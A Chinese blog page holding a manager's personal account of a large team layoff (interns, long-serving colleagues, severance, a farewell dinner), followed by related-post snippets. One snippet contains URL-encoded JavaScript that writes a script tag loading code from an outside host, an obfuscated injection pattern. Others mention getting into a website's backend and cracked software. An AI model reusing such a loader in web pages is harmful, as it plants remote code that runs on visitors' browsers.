裁员过程中的一些事情

如何防止被裁员(一)公司为什么会裁员                                                      引言           年底了,又迎来了各个公司的裁员季...各个公司几乎即想通过裁员达到某种目的,又拼命想”掩盖“自己裁员的事实。但一个便随着裁员风波的现象是: 一些大公司、中小型公司,突然出现了裁员的消息,但另一方面会发现,公司仍然在继续招人。公司为什么要干这种一边裁员一边招人的”矛盾... 阅读详情
过去几周,过的都是非常沉重的日子。由于行业的变化,整体团队优化60%,可能后续还有离职的。办公室一下就变得空荡荡的。
在这个过程中,自己也是过得很丧。不过工作生活总是要继续的。
整个过程,我也是全程的参与,有些人或者事情,做一下记录吧。
眼泪与自信
实习生是我们第一批,实习生E也是聊得第一个,一个女生。
开始叫她到过来的时候,她还以为是要聊正式合同的事情,应为差不多也是三方合同结束,改签正式合同的时候。
但是,收到的是一份解除合同的协议书,看到这个的时候,她就不住的流泪。
我们知道她刚刚在附近租了房子,我们知道她花了很大的力气说服家人,让她留在这个城市。但是,没有办法。
后面,她平复之后,花了很长的时间拿手机查对应的法律法规,但是作为一个公司来说,哪里会有空子给一个实习生去钻。
我等了差不多一个多小时,她终于在协议上面签字了,获得的赔偿也是很少,协议上都是一滴滴眼泪的痕迹。
我跟她说“加油,会好起来的”,呵呵伪善者,我连自己都是非常的迷茫。
​实习生X,是个男生。
X在实习的过程中,就已经非常的亮眼,如果不是这次的结构性优化,他可能会在团队中承担越来越重要的角色。
他可能早就有了准备,跟他说不是聊合同的时候,是聊解除协议的时候,他就是微微一愣。
看了看协议之后,没有说什么就直接在上面签字了,然后就询问下是不是现在就开始收拾东西,我说这个不急,你看你自己的安排,今天办完就好了。
然后跟我说,如果后面需要背调的时候,麻烦我帮忙下,我说我会的,然后就走了。
能被裁是最好的?!
还有一个同事C,今年是他在公司的第五年,表现算中规中矩。在这次人员优化之前,就已经猜到了这个事情,毕竟也不是特别的难猜。
在那的前几天,他发了一条信息给我,“XXX,这次人员优化的时候,请把我优化掉,谢谢”。我当时有点愣,想了很久不知道回复什么只是回复了一个“嗯,知道了”。开始,我心理是有点不屑的,你有什么自信还能留在这里,可是想想吧,对应他来说赔偿的N+1也是很开心的,如果留下来,这个行业后面涨薪是会越来越难的,比较他也不算特别突出的人,弄得自己辞职就真的是什么都没有了。所以,现在能被裁是最好的结果吧!
沟通解除合同的当天就没有什么好说的了,问了一下赔偿的事宜觉得没有问题就很爽快的签字了,其实有很想问一句,你后面有什么打算,比较年纪确实不小了,还是想在最基层的位置上面这样一直干吗?不过后面忍住了,现在这样酸溜溜的干嘛呢!
副业转正了!
同事S,三年司龄。之前已经有很多同事已经聊好了,大家或多或少的都已经知道了现在的情况。我们也就直接进入正题,把解除合同协议拿出来。很爽快的就签字了,然后就来了一句,我的副业看来要转正了,也好反正现在工作已经影响我做副业了。当时我就觉得很丢脸,心里就在想,真的应该把你们全部优化掉。。。
你还准备留在这里吗?
同事G,也是五年的司龄。我们这群老伙伴们,事后一起聚了个餐,算是散伙饭了。感慨实在太多了,这五年经历的事情太多,有很多遗憾,也有很多成绩。我自己酒量不怎么样,但是酒品还可以,来者不拒。没有几下就喝多了。同事G也喝多了,他说这个时候能够被优化掉,是比较好的结果了。剩下的人就比较吃亏了,问我是怎么打算的,还准备留在这里吗?我明白他说的吃亏的意思,我知道后面还会有人带着怨念工作或者离职,在做人员调整方案的我也想了很久,对于小伙伴来说,现在能被调整掉确实是最好的一个结果,但是公司如果还是要去发展的话,需要有人去承接。所以我的答案是 善始善终。除非那天老板说折腾不动,那就不折腾了。
如何防止被裁员(二)为裁员做最大程度准备                                                    前言           被裁员风险无处不在。如果你以为有以下表现,就可以确保自己安全了,那你就大错特错了:从不迟到,工作踏实认真,与同事关系融洽,与上级相处和谐。即使你是团队的top 20%,当整个部门被波及时,你也不能幸免了,更别说top 20%之后的同学了。所以,裁员属于非自己100%可控... 阅读详情

相关推荐

光模块数字诊断监控(DDM)功能

DDM(Digital Diagnostic Monitoring)数字诊断监控,由行业组织SFF Committee制定,遵循SFF-8472多源协议定义的标准参数而工作,规范了光模块和网络设备的软硬件所需遵循的标准数值或范围,确保了网络设备供应商和光模块供应商之间所提供产品的互操作性不同。:通过监测激光器的偏置电流来预测激光器的劣化,从而确保在故障发生之前将业务切换到备用链路上或替换有可能故障的光模块,因此起到了预测光模块寿命的作用。光模块DDM信息可以通过SNMP读取光模块的接收光功率和发射光功率。.

光模块的博客 2301

小米裁员,我有话说

危机的背后是转机

大数据梦想家 1万+

python——体育收入排行2012-2019

请分析文件并读取数据,完成以下功能: 1. 某年的收入排名前若干名选手 如果输入n是2012-19之间的年份,则可以输入整数k,输出n年的前k名排名信息。如果k大于当年排名运动员人数,则输出当年所有的信息。每行一名运动员信息,以' | '间隔该行各项信息。 2. 某年属于某个运动项目的所有运动员信息,和收入总和 如果输入的是'sport'(不区分大小写),则可以继续输入一个年份201*,输出一个当年排行中的运动项目菜单,按照字符串升序排列,格式见示例,再输入运动项目对应的数字来输出该项运动当

m0_62488776的博客 2260

滴滴员工求裁员,阿里不裁员,大佬聊裁员时都在聊什么?

从18年下半年到现在,互联网企业优化裁员不断,这是大环境下企业经营活动的必然选择,企业的本质就是为了盈利。今天从两个角度跟大家聊聊裁员这些事:裁员公司的“吃相”和技术大佬们当聊起裁员他们都在聊什么。 各大公司在裁员的同时也上演着一幕幕比电视剧更精彩的戏剧,有各式各色的人也有各式各色的公司。裁员过程中各大公司也上演着不同的角色。咱们先按照时间轴来捋一捋。 最普遍的裁员模式 我们年前能看到的最普遍的裁...

程序新视界 3364

AWS 小白书 [1] 全球架构

小白应该知道的 AWS 知识

boshansolo的博客 707

XC95144XL-10TQG144I Xilinx XC9500XL 高性能 CPLD

XC95144XL-10TQG144I 属于 Xilinx 的 XC9500XL 高性能 CPLD 家族,是一颗面向 3.3V 低电压系统的可编程逻辑器件。该器件以小封装、高速响应和良好的系统兼容性为设计目标,常用作系统控制/ glue-logic、I/O 缓冲、状态机、总线桥接与接口协议前端等场景中的可重编程逻辑单元。产品支持现场(in-system)编程与 IEEE-1149.1 JTAG 边界扫描,能在系统板上直接更新逻辑。

2403_90082736的博客 1065

对不起,我被裁员了

作者 | 王琳 贺树龙 刘景丰来源 | 燃次元(ID:chaintruth)裁员,成为了这个冬天的关键词。裁员的企业不分大小,有市值百亿的上市公司,也有成立不到一年的创业...

程序员之家 1万+

QT项目实战:如何在正点原子Linux开发板上集成CVR-100UC身份证阅读器(附完整代码)

本文详细介绍了在正点原子Linux开发板上集成CVR-100UC身份证阅读器的完整实战流程。内容涵盖驱动适配、库文件部署、QT项目框架搭建、核心功能封装以及界面集成,并提供了完整的代码示例,帮助开发者快速实现嵌入式环境下的身份证信息读取功能。

yyy34的博客 260

百度裁员门:裁员过程录音曝光

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);

369

简单记录一次拿网站后台的过程

本文章重在让大家了解拿后台的逻辑与流程,请不要利用此文章的内容对别人的网站进行攻击破坏,否则后果自负,作者不承担任何责任。

kk的博客 923

修改 Alist 密码时报错?看看这个坑怎么解决!

启动服务后,再修改密码”。以后再遇到类似问题,先检查服务是否正常运行,说不定就能少踩不少坑。如果还有其他 Alist 的问题,欢迎在评论区留言交流~

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 1156

《网易裁员》这是一次失败的危机公关

《网易裁员,让保安把身患绝症的我赶出公司。我在网易亲身经历的噩梦!》 作者称,自己是入职网易游戏5年的一名员工,在职期间,勤恳工作,一直以是一个网易人而自豪;直到生病之后,网易采用“逼迫、诱骗、监视、陷害、威胁,甚至被保安赶出公司”等各种手段逼迫其离职,以避免进行N+1的离职赔偿。 后续网易又给出了《网易回应暴力裁员:对不起,我们做错了》 这是网易的公关危机,而公关部门的应对是一个灾难 这个...

王学明 5598

C#与海康威视工业相机结合OpenCV与WPF:打造高效的机器视觉应用程序

本文介绍了基于C#、海康威视工业相机SDK和OpenCV的机器视觉应用开发方法。首先配置开发环境,包括海康SDK、OpenCvSharp和WPF项目设置。重点阐述了如何通过SDK初始化相机、获取视频流,并将YUV数据转换为OpenCV可处理的Mat格式进行图像处理(如边缘检测)。同时展示了如何用WPF实现界面交互和实时图像显示。该方案为工业自动化、质量检测等场景提供了高效的技术实现路径,结合了海康相机的高性能采集、OpenCV的强大算法和WPF的交互优势,具有较高的实用价值。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 1501

看了网易针对裁员风波的回应,我觉得事情很难反转了..

上方的终端研发部,右上角选择“设为星标”每日早8点半,技术文章准时送上公众号后台回复“学习”,获取作者独家秘制精品资料往期文章来源:腾讯科技讯前言11月25日,网易针对暴力裁员事件发表回应称,确实存在简单粗暴、不近人情等诸多行为,向相关前同事及家人道歉。网易在声明中表示,这位前同事的主管因绩效原因向其提出解除劳动合同,文章展示的“业绩排名”,实际为工作量排名,不完全反映工作质量。经复核,其绩效确不...

这个时代,作为程序员可能要学习小程序 489

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

第二次作为公司裁员的幸存者

正如标题所写,我经历了互联网公司的第二次裁员,再一次成为了幸存者。一年前的第一次裁员,当时我有很多想法和感触,所以写了篇文章记录了下。时隔一年,没想到这个系列还能连载。最近我也和不少人聊天,也听了很多人的想法,和很多人告别,遇到了很多事情,有了新的感触,重温了下之前写的内容,我打算记录下此时此刻的所思所想。 说说这次裁员 两年经历两次裁员,互联网公司定位杭州,我想大家应该也知道我是哪家公司的。这周自从公司裁员上了微博热搜,就有许多朋友来问我,多谢关心。总的来说,还是很...

qq_20614905的博客 8673

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

我的公司不是家 【联想员工亲历联想大裁员】

 今天,恐怕是联想历史上规模最大的一次大裁员。我们部门9个人,今天送走了三个,还有三个要转岗,剩下三个。整个研究院走了30多人,转岗20多人。这是我经历的第二次所谓战略性调整,有很多感触,却又好像什么都堵在心里,说不出来。干脆简单记录下这段往事,提醒自己。[联想精细化裁员]  昨天晚上,研究院秘密召开紧急会议。有20多位“责任经理”参加,我才清楚了整个裁员过程。3月6日启动计划,7日讨论名单,8日

FreeXploiT 9203

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

关于裁员潮

我在2008年金融危机的亲身经历: 08年,我工作第2年,刚转行到咨询公司,才入职4个月,投行破产、某客户破产、公司裁员的消息就四处弥漫。 那时候每天看各种裁员新闻,心里是真的怕,没能力、没经验、没背景,一旦被裁,感觉会饿死。 我帮各大公司做的组织优化咨询项目: 我在咨询公司待了8年,咨询领域是组织设计。经济上行的时候,客户需求都是如何拓展组织能力...

Bluenapa的博客 1100

2019大裁员!年关将至,最高裁员比例竟达90%?

全文共3736字,预计学习时长12分钟“快年末了,我却被公司裁员了……”“我太羡慕体制内的人了……”“现在行情不好啊,工作不好找,我都怀疑我自己了……”如果这些话出自某个在职场混迹多年、对工作丧失激情的中年男人,似乎并不是难以理解。但是,这些话来自一批985院校毕业的学生,曾经的他们头顶名校光环,现在却苦恼于一份稳定的工作。没了平台,你或许什么都不是。有人说,现在这么不景气,哪有什么稳定的...

读芯术的博客 1万+

中外企业白领自曝“裁员秘史”

美国雅虎绝密PPT外泄,被热捧为“裁员宝典” 中外企业白领自曝“裁员秘史”靠示威曾有人拿到40万元补偿金 帮老板裁人,自己最终也被裁 向总监泄密,才“换”到较高补偿 北京的冬日寒风凛冽,全球经济危机下的大裁员潮也来得愈加汹涌澎湃。 近日,据传将裁员1500人的雅虎有一份“内部指导”文件泄密网上。文件中详细指出,经理们该如何得体地通知员工坏消息。一时间,不少职业经理人将此奉为“裁员宝典”,更有网民感

phphot 2815

关于裁员几点看法及建议

最近网易裁员事件引起广泛关注,昨天网易针对此事,也发了声明,到底谁对谁错,孰是孰非?我们作为吃瓜观众实在是知之甚少,所以不敢妄下定论。身处软件开发这个行业,近一两年来,对...

浪里行舟的博客 1万+

程序员被裁员该怎么办

本篇文章主要解答后台粉丝困扰问题,被裁员了,长期找不到工作该怎么办,有没有好的解决办法,被裁员后应该怎么做才能让自己快一点找到工作的问题。 日期:2021年12月28日 作者:任聪聪 被裁员,先别慌,以下补偿一定要把握住 被裁员了,千万不要慌,也不用太过主动离职,一定要争取到赔偿金,你可以争取到的赔偿金按照劳动法规定的,可以拿到n+1的赔偿。n即是你的工作年限,不满一年的也可以拿半个月-1个月的补偿。 此外: 1.如果发现公司没有缴纳社保,可以通过劳动仲裁争取社保的补偿,劳动者100%胜诉,不缴纳社保的.

任聪聪的博客 6566

杂谈:游戏公司那些裁员事情

这几天一直在整理一个安卓软件,对比了ios发现安卓和当时接触ios有着很多不一样的开发理念。包括同学当时提及到一些连名字都没有听说过的概念。想想下功夫去学这个移动平台,确实让我接触了很多不同的领域,想法一点点积累,慢慢有一些自己的想法。不过鉴于一直很想找个拍档,但目前为止我还是很难找到一个可以交谈下去的人。不是因为什么,有时候觉得一旦涉及到利益层面的话题,这样的兴趣就很难搞下去。我是在想可能我是想找

夏天的树人的专栏 1380

裁员感悟

好员工,别以为裁员与你无关(上) 版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出版、作者信息和本声明。否则将追究法律责任。本文地址:http://blog.youkuaiyun.com/jobchanceleo/archive/2007/05/26/1627056.aspx   (下面的文章是06年底我写的,周未回顾了一下感触很多,作补充之后登出来与大家分享。)06年12月8日

szu030606的专栏 2206
上一篇: 智能之门——用程序分析概率问题
下一篇: Nginx源码分析——main函数(二)
sinom21
博客等级 码龄19年 22粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

sinom21

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值